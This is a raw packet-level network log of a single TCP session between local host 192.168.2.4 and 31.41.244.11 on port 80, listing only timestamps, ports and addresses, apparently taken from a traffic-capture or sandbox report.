Dec 20, 2024 11:12:15.042764902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.043670893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.043721914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.043787003 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.043828011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.044727087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.044778109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.044821024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.044864893 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.045795918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.045845032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.045852900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.045892954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.046889067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.047075987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.047117949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.048036098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.048135042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.048181057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.049086094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.049130917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.049174070 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.050156116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.050213099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.050416946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.050461054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.051239014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.051397085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.051445007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.052377939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.052426100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.052495956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.052617073 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.053431988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.053488016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.053530931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.053577900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.054507971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.054563046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.054601908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.054647923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.055613041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.055686951 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.055737972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.056663990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.059267044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.192020893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.192044973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.192107916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.192348003 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.192430973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.192481995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.193442106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.193492889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.193826914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.194048882 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.194097996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.194905043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.194976091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.195023060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.195979118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.196019888 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.196088076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.197093964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.197139025 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.197191954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.198215008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.198262930 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.198307037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.199242115 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.199289083 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.199325085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.199368954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.200324059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.200474977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.200520039 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.201472044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.201570034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.201610088 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.202526093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.202577114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.202625036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.203594923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.203641891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.203687906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.204693079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.204740047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.204826117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.204875946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.205770969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.205888987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.205931902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.206861973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.206973076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.207020044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.207952976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.208009005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.208046913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.209017038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.209069014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.209114075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.210117102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.210167885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.210257053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.211237907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.211285114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.211322069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.211368084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.212291956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.212507010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.212554932 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.213398933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.213495970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.213540077 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.214471102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.214518070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.214560986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.215553045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.215598106 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.215641022 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.216641903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.216689110 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.216732979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.216777086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.217720985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.217885971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.217928886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.218802929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.218926907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.218971968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.219883919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.219932079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.220053911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.220997095 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.221040010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.221096992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.222075939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.222117901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.222161055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.223170996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.223222971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.223272085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.223321915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.224237919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.224348068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.224405050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.225358009 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.225457907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.225509882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.226444006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.226550102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.226599932 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.227521896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.227644920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.227694035 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.228590965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.228691101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.228748083 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.229691029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.229737043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.229785919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.230775118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.230822086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.230865955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.231870890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.231920004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.231987000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.232026100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.233011961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.233098030 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.233154058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.234045982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.234100103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.234149933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.235122919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.235253096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.235296011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.236208916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.236254930 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.236344099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.237307072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.237349987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.237432003 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.238390923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.238440037 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.238507032 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.239489079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.239540100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.239582062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.239624023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.240556002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.240685940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.240735054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.241657972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.241766930 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.241820097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.242774963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.242866039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.242919922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.243843079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.243915081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.243973017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.244890928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.244942904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.245013952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.245997906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.246052980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.246062994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.247049093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.247103930 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.247167110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.247215033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.248179913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.248307943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.248364925 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.384118080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.384140015 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.384215117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.384466887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.384664059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.384716988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.384722948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.384768009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.385799885 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.385828018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.385874033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.386843920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.386977911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.387027025 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.387916088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.387964964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.388076067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.389029026 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.389055014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.389075041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.389094114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.390089035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.390202999 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.390248060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.391196012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.391412020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.391459942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.392270088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.392318010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.392389059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.393361092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.393404961 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.393450975 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.394439936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.394486904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.394573927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.395272970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.395550966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.395759106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.395800114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.395817995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.396612883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.396671057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.396729946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.396835089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.397696972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.397746086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.397808075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.398010969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.398778915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.398848057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.398886919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.398958921 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.399913073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.399957895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.400036097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.400084972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.401002884 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.401043892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.401091099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.401130915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.402050972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.402194023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.402249098 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.403165102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.403213978 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.403309107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.403351068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.404268980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.404319048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.404375076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.404423952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.405333996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.405463934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.405500889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.406445980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.406529903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.406577110 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.407485962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.407541037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.407582045 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.408572912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.408611059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.408693075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.409708977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.409751892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.409821987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.410839081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.410866022 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.410881042 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.410902977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.411925077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.412096024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.412143946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.413012028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.413198948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.413247108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.414025068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.414077044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.414122105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.415106058 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.415154934 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.415211916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.416181087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.416229963 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.416409969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.416461945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.417268991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.417395115 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.417439938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.418351889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.418478966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.418525934 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.419488907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.419572115 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.419617891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.420531034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.420593023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.420630932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.421627998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.421678066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.421722889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.422707081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.422754049 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.422832012 CET	80	49768	31.41.244.11	192.168.2.4
